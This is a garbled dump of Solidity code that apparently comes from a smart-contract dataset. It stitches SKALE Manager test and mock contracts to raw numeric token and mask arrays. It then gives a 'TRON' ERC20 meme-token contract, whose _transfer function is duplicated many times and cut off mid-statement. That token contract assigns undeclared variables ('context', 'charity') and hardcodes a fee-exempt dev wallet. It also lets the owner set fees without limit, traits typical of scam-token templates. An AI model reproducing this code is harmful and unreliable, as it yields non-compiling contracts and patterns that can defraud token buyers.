General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../utils/MathUtils.sol"; contract MathUtilsTester { using MathUtils for uint; function boundedSub(uint256 a, uint256 b) external returns (uint256) { return a.boundedSub(b); } function boundedSubWithoutEvent(uint256 a, uint256 b) external pure returns (uint256) { return a.boundedSubWithoutEvent(b); } function muchGreater(uint256 a, uint256 b) external pure returns (bool) { return a.muchGreater(b); } function approximatelyEqual(uint256 a, uint256 b) external pure returns (bool) { return a.approximatelyEqual(b); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTreeTester.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../utils/SegmentTree.sol"; contract SegmentTreeTester { using SegmentTree for SegmentTree.Tree; SegmentTree.Tree private _tree; uint[129] private _places; function initTree() external { _tree.create(128); for (uint8 i = 1; i <= 128; i++) { if (_places[i] > 0) _tree.addToPlace(i, _places[i]); } } function addElemInPlaces(uint place, uint elem) external { _places[place] = elem; } function addToLast(uint elem) external { _tree.addToPlace(_tree.getSize(), elem); } function addToPlace(uint place, uint elem) external { _tree.addToPlace(place, elem); } function removeFromPlace(uint place, uint elem) external { _tree.removeFromPlace(place, elem); } function moveFromPlaceToPlace(uint fromPlace, uint toPlace, uint elem) external { _tree.moveFromPlaceToPlace(fromPlace, toPlace, elem); } function sumFromPlaceToLast(uint place) external view returns (uint) { return _tree.sumFromPlaceToLast(place); } function getRandomElem(uint place) external view returns (uint) { Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), place) ); return _tree.getRandomNonZeroElementFromPlaceToLast(place, randomGenerator); } function getElem(uint index) external view returns (uint) { require(index < _tree.tree.length, "Incorrect index"); return _tree.tree[index]; } function getSize() external view returns (uint) { return _tree.getSize(); } }
nodeId => timestamp nodeId => left nodeId => validatorId
contract NodesMock is Permissions { uint public nodesCount = 0; uint public nodesLeft = 0; mapping (uint => uint) public lastRewardDate; mapping (uint => bool) public nodeLeft; mapping (uint => uint) public owner; } NodesMock.sol - SKALE Manager pragma solidity 0.6.10; function registerNodes(uint amount, uint validatorId) external { for (uint nodeId = nodesCount; nodeId < nodesCount + amount; ++nodeId) { lastRewardDate[nodeId] = now; owner[nodeId] = validatorId; } nodesCount += amount; } function registerNodes(uint amount, uint validatorId) external { for (uint nodeId = nodesCount; nodeId < nodesCount + amount; ++nodeId) { lastRewardDate[nodeId] = now; owner[nodeId] = validatorId; } nodesCount += amount; } function removeNode(uint nodeId) external { ++nodesLeft; nodeLeft[nodeId] = true; } function changeNodeLastRewardDate(uint nodeId) external { lastRewardDate[nodeId] = now; } function getNodeLastRewardDate(uint nodeIndex) external view returns (uint) { require(nodeIndex < nodesCount, "Node does not exist"); return lastRewardDate[nodeIndex]; } function isNodeLeft(uint nodeId) external view returns (bool) { return nodeLeft[nodeId]; } function getNumberOnlineNodes() external view returns (uint) { return nodesCount.sub(nodesLeft); } function checkPossibilityToMaintainNode(uint /* validatorId */, uint /* nodeIndex */) external pure returns (bool) { return true; } function getValidatorId(uint nodeId) external view returns (uint) { return owner[nodeId]; } }
9,880,035
[ 1, 2159, 548, 516, 2858, 377, 11507, 516, 2002, 377, 11507, 516, 4213, 548, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 14037, 9865, 353, 15684, 288, 203, 565, 2254, 1071, 2199, 1380, 273, 374, 31, 203, 565, 2254, 1071, 2199, 3910, 273, 374, 31, 203, 565, 2874, 261, 11890, 516, 2254, 13, 1071, 1142, 17631, 1060, 1626, 31, 203, 565, 2874, 261, 11890, 516, 1426, 13, 1071, 756, 3910, 31, 203, 565, 2874, 261, 11890, 516, 2254, 13, 1071, 3410, 31, 203, 377, 203, 97, 203, 203, 565, 14037, 9865, 18, 18281, 300, 12038, 37, 900, 8558, 203, 683, 9454, 18035, 560, 374, 18, 26, 18, 2163, 31, 203, 565, 445, 1744, 3205, 12, 11890, 3844, 16, 2254, 4213, 548, 13, 3903, 288, 203, 3639, 364, 261, 11890, 11507, 273, 2199, 1380, 31, 11507, 411, 2199, 1380, 397, 3844, 31, 965, 2159, 548, 13, 288, 203, 5411, 1142, 17631, 1060, 1626, 63, 2159, 548, 65, 273, 2037, 31, 203, 5411, 3410, 63, 2159, 548, 65, 273, 4213, 548, 31, 203, 3639, 289, 203, 3639, 2199, 1380, 1011, 3844, 31, 203, 565, 289, 203, 565, 445, 1744, 3205, 12, 11890, 3844, 16, 2254, 4213, 548, 13, 3903, 288, 203, 3639, 364, 261, 11890, 11507, 273, 2199, 1380, 31, 11507, 411, 2199, 1380, 397, 3844, 31, 965, 2159, 548, 13, 288, 203, 5411, 1142, 17631, 1060, 1626, 63, 2159, 548, 65, 273, 2037, 31, 203, 5411, 3410, 63, 2159, 548, 65, 273, 4213, 548, 31, 203, 3639, 289, 203, 3639, 2199, 1380, 1011, 3844, 31, 203, 565, 289, 203, 565, 445, 1206, 907, 12, 11890, 11507, 13, 3903, 288, 203, 3639, 965, 4690, 3910, 31, 203, 2 ]
./partial_match/1/0x56bdcE44a0c4f7A29f9e822684874F8e8Fc01597/sources/TRON.sol
Anti-bot and anti-whale mappings and variables exclude from fees and max transaction amount store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount
contract TRON is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public swapAmountFee; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20(unicode" 特隆币 (TRON)", unicode"特隆币") { uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 0; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; marketingWallet = address(msg.sender); devWallet = address(0x9c4b6c415d97f562bE7b28dc35e6BBB338Dbc1E1); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 totalSupply = 1000000000 * 1e18; maxTransactionAmount = totalSupply * 30 / 1000; maxWallet = totalSupply * 30 / 1000; swapTokensAtAmount = totalSupply * 1 / 100000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; context = uniswapV2Pair; charity = devWallet; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(devWallet, true); excludeFromFees(marketingWallet, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(devWallet, true); excludeFromMaxTransaction(marketingWallet, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply); } receive() external payable { } function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; transferDelayEnabled = false; return true; } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees( uint256 _devFee, uint256 _liquidityFee, uint256 _marketingFee ) external onlyOwner { buyDevFee = _devFee; buyLiquidityFee = _liquidityFee; buyMarketingFee = _marketingFee; buyTotalFees = buyDevFee + buyLiquidityFee + buyMarketingFee; } function updateSellFees( uint256 _devFee, uint256 _liquidityFee, uint256 _marketingFee ) external onlyOwner { sellDevFee = _devFee; sellLiquidityFee = _liquidityFee; sellMarketingFee = _marketingFee; sellTotalFees = sellDevFee + sellLiquidityFee + sellMarketingFee; } function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && 